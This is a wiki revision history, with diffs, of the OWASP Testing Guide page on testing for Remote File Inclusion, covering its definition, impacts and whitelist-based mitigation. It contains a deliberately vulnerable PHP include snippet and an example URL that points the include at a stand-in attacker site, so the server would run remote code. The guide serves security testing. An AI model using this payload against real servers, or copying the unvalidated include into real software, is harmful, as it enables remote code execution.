Testing for Remote File Inclusion - Revision history

Andrew Muller at 13:21, 8 August 2014

2014-08-08T13:21:22Z

Andrew Muller at 16:24, 31 July 2014

2014-07-31T16:24:13Z

Jane O'Connor: Final edit

2014-05-19T10:22:41Z

Final edit

Davide Danelon at 16:48, 6 March 2014

2014-03-06T16:48:41Z

Davide Danelon at 16:47, 6 March 2014

2014-03-06T16:47:54Z

Alexander Antukh: Page created

2014-01-22T13:56:41Z

Page created

New page

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

File Inclusion vulnerability allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

*Code execution on the web server
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
*Denial of Service (DoS)
*Sensitive Information Disclosure

== Description of the Issue ==

Remote File Inclusion (also known as RFI) is ...

== Black Box testing and example ==

To be continued.

== Gray Box testing and example ==

Gray box

== Mitigation ==

How to protect yourself from RFI

== References ==

* Wikipedia - http://www.wikipedia.org/wiki/Remote_File_Inclusion

<br>
--[[User:Alexander Antukh|Alexander Antukh]]

@@ Line 34: / Line 34: @@
 In this case the remote file is going to be included and any code contained in it is going to be run by the server.
@@ Line 46: / Line 41: @@
 * “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
 * Wikipedia: "Remote File Inclusion" - http://en.wikipedia.org/wiki/Remote_File_Inclusion

@@ Line 1: / Line 1: @@
 {{Template:OWASP Testing Guide v4}}
-== Brief Summary ==
+== Summary ==
 The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
@@ Line 14: / Line 14: @@
-The File inclusion vulnerability could be of two types:
+'''Remote File Inclusion''' (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.
-== Description of the Issue ==
+== How to Test ==
 Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:

@@ Line 3: / Line 3: @@
 == Brief Summary ==
-File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
+The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
 This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:
@@ Line 10: / Line 12: @@
 *Denial of Service (DoS)
 *Sensitive Information Disclosure
 The File inclusion vulnerability could be of two types:
@@ Line 28: / Line 31: @@
 include($incfile.".php");
 </pre>
 In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:
@@ Line 34: / Line 38: @@
 http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
 </pre>
 In this case the remote file is going to be included and any code contained in it is going to be run by the server.
@@ Line 40: / Line 45: @@
 == Mitigation ==
-The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API.
+The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.
 If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.
 == References ==

← Older revision		Revision as of 16:48, 6 March 2014
Line 36:		Line 36:

	In this case the remote file is going to be included and any code contained in it is going to be run by the server.		In this case the remote file is going to be included and any code contained in it is going to be run by the server.
−
−	~~<pre>~~
−	~~http://vulnerable_host/preview.php?file=example.html~~
−	~~</pre>~~